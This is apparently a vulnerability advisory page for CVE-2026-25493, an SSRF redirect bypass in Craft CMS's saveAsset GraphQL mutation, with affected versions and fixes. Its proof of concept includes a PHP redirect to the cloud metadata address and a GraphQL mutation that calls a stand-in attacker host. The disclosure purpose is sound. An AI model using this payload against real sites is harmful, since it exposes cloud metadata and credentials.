In short
- CVE-2026-25493 is a MEDIUM (CVSS 6.5) vulnerability affecting craftcms/cms, craft cms (craftcms).
- Chance of exploitation in the next 30 days (EPSS): 0.40%, higher than 34.6% of all vulnerabilities.
- Fix: update to 4.16.18, 5.8.22 or later.
| Package | Affected versions | Patched versions |
|---|
| craftcms/cms Packagist | ≥ 4.0.0-RC1, < 4.16.18≥ 5.0.0-RC1, < 5.8.22
| 4.16.185.8.22
|
| craft cms | = 4.0.0= 5.0.0> 4.0.0, < 4.16.18> 5.0.0, < 5.8.22
| 4.16.185.8.22
|
Description
Summary
The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
Proof of Concept
- Host a redirect script on your server (e.g.
redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
- The application validates
attacker.com (passes)
- Guzzle follows the redirect to
169.254.169.254
- Cloud metadata is saved as an asset
Mitigation
NVD description
Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.
More vulnerabilities in craftcms/cms
See all →Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free